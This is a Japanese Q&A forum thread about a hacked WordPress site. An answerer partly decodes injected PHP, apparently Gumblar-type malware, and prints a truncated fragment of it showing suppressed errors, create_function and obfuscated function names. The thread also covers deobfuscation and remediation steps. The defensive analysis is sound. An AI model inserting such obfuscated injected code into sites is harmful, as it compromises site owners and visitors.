- ベストアンサー
ウェブサイトのファイル改ざんについて
- ウェブサイトのファイル改ざんに関する質問です。自分で追加していない文字列が追加されていました。解析できる方がいらっしゃいましたら教えていただきたいです。
- 改ざんされたウェブサイトのファイルの解析ツールについて教えてください。
- 改ざんされたウェブサイトのファイルに対する対策についてアドバイスをいただきたいです。
- みんなの回答 (3)
- 専門家の回答
質問者が選んだベストアンサー
※以下、お礼内の記述への回答です。 > レンタルサーバを借りている レンタルサーバではPHPをCGIとして動かしているところも多いのですが、CGI版のPHPには要注意です。 https://www.google.co.jp/search?q=php+cgi%E7%89%88+%E8%84%86%E5%BC%B1%E6%80%A7 > パスワードの変更はどの程度有効なのでしょうか。 ガンプラー系のウィルスだった場合、それを駆除しない限りはあまり意味はありませんが、最低限やっておくべき事ではあります。 ただ、ウィルス対策はシッカリされていたようですし、他の文章から察するに、今回はiqpkkksoi38さんのパソコンがウィルスに感染したのではなく、PHPの脆弱性かWordPressの脆弱性をつかれた可能性の方が高いのではないかと思われます。(あくまでも素人判断ですが) > ダウンロードは危険がないのでしょうか 私の上記予想が当たっているなら、ただのテキストファイルですので、PHPとして実行しない限りは何も問題はありません。 > 今回はwordpressでバージョンが最新ではない状態 原因はこれかもしれませんね。下記ご参考ください。 http://www.webkma.com/webtips/671/ https://www.google.co.jp/search?q=WordPress+%E6%94%B9%E3%81%96%E3%82%93 以下は蛇足です。 > デコードの仕方 「\x」から始まっている文字列は、文字列を16進数で書いているだけです。 http://www.php.net/manual/ja/language.types.string.php 簡単な確かめ方としては、例えば… var_dump("\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"); …をPHPとして実行してみてください。「create_function」という文字列である事が確認できます。 また、スクリプト言語に埋め込まれるウィルスのコードはbase64でエンコードされている事が多いので、base64デコードする等して↓のサイトの例のように徐々に紐解いていきます。 http://isid.ai/security/2012/01/23/567/ 不謹慎ながら、パズルを解いているみたいでなかなか楽しいです。
その他の回答 (2)
- cheese014
- ベストアンサー率85% (12/14)
※続きです 他には、ご利用のCMS(有名なものではWordPress等)やphpMyAdmin等、広く一般的に使われているシステムの脆弱性をつかれた可能性があります。 もしそういったシステムをご利用の場合は、なるべく最新バージョンを利用するようにし、インターネット上に公開する必要の無いファイルは外部からアクセスできないようにする,ファイルをアップロードする際のパーミッションは必要最小限にしておく等の対策が必要です。 また、Windowsにウィルスが多いのと同じ理由で、PHP自体が世間で広く使われているため、PHPの脆弱性を狙ったサイト改ざんも増えています。ご自分でサーバを構築されている場合は、PHPのバージョンにも注意してください。
お礼
cheese014さん重ねて回答ありがとうございます。 >他には、ご利用のCMS(有名なものではWordPress等)や おっしゃるとおり今回はwordpressでバージョンが最新ではない状態でした。 (半年くらい前のもの) こちらも対応しました。 このあたりはプラグインとの関連もあるので なかなか難しい所です。。。 CMSを再構築したのでパーミッションについても 確認しましたが推奨されている状態に なっていると思います。 phpのリンクもありがとうございました。 参考にさせていただきます。
- cheese014
- ベストアンサー率85% (12/14)
途中で文字列が切れているみたいなので、途中までしか解析できませんでしたが… @error_reporting(0); create_function("", "※"); //-- 以下※の中身 if(function_exists(ob_start) && !isset($GLOBALS['codex22'])) { $GLOBALS['codex22']=1; if(!function_exists("eva1fY2bak1cV2ir")) { if(!function_exists("eva1fY2bak1cV0ir")) { function eva1fY2bak1cV0ir() { //echo start if(!isset($GLOBALS["aghex0"])) { $GLOBALS["aghex0"]=1; $evalsssgqulVBTkZLAch = ""; if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "以下途中で切れてるため解読できず… みたいになっていますね。よくあるガンプラー系のウィルスでしょうか。 > これはどのような言語でかかれたものでしょうか。 PHPで書かれています。 文字を人間の目では読みにくくしてるだけですので、ある程度の知識があれば簡単にデコードできます。 > みなさんならどのように対策をとりますか。 まずは、きちんとしたウィルス対策ソフトを導入し、ウィルス定義ファイルは常に最新の状態を保っておく事が先決だと思います。 また、FTPのアカウントが盗まれた可能性が高いですので、FTPのパスワードは全部変更した方が良いと思います。 感染した可能性のあるサイトからご自分のパソコン上にファイルをダウンロードし、ウィルス対策ソフトでスキャンしたり、一括検索などで上記のような文字列が含まれているファイルが他に無いか調べた方が良いと思います。
お礼
cheese014さんありがとうございます。 >PHPで書かれています。 PHPで書かれているんですね!? デコードの仕方も検索してみたんですが 自分では見つけられず質問させていただきました。 解析のほうもありがとうございました! >まずは、きちんとしたウィルス対策ソフトを導入し、 レンタルサーバを借りているので 管理会社に相談してみます。 >また、FTPのアカウントが盗まれた可能性が高い やはりそうですよね>< 一応早急に対応しましたが、パスワードの変更は どの程度有効なのでしょうか。 自分のローカルマシンはノートンを入れており 自動ライブアップデートしている状態です。 >感染した可能性のあるサイトからご自分のパソコン上にファイルをダウンロードし こちらは試してみましたがノートンでは検知されませんでした。またダウンロードは危険がないのでしょうか?ガンブラー系ウイルスとのことでしたが自分のパソコンがクラッキングされる恐れはないのでしょうか・・・ 重ねて色々と質問してしまいました。 誠に恐縮ですが教えていただけましたら幸いです。
お礼
cheese014さんありがとうございます! 大変参考になっております! >CGI版のPHPには要注意です。 そうだったんですね。。。 いままでこういったことと無縁だったのですが このあたりの勉強も開始せねばと思います。 URL参考にさせていただきます。 >PHPの脆弱性かWordPressの脆弱性をつかれた可能性の方が高いのではないかと思われます。(あくまでも素人判断ですが) やはりそうでしょうか。 今回は再インストールしたのですが バージョンには注意したいと思います。 >「\x」から始まっている文字列は、文字列を16進数で書いているだけです。 そうなんですね。 このあたりのキーワード(16進数、base64デコード) がわからずうまく自分で探せてませんでした。 非常に勉強になりました。 いくつかまた疑問が出てしまったのですが また自分で調べてみてわからなかった際 改めて書かせていただくかもしれません。 cheese014さん色々教えていただきまして ありがとうございました!